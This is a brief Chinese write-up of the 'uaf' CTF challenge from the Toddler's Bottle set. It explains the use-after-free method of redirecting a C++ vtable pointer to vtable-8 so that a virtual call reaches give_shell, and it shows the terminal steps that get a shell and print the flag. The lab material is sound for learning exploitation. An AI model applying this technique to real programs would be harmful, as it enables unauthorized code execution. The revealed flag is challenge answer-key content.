[Toddler's Bottle]-uaf

  • 程序通过指向vtable的指针+8来调用introduce()函数,所以我们可以通过uaf来更改原本指向vtable的指针为vtable-8处,这样当执行vtable+8时就会执行give_shell函数
[Toddler's Bottle]-uaf_第1张图片
[Toddler's Bottle]-uaf_第2张图片

payload:

uaf@ubuntu:/tmp/hacker_mao$ ./uaf 16 file
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat /home/uaf/flag
yay_f1ag_aft3r_pwning
$

你可能感兴趣的:([Toddler's Bottle]-uaf)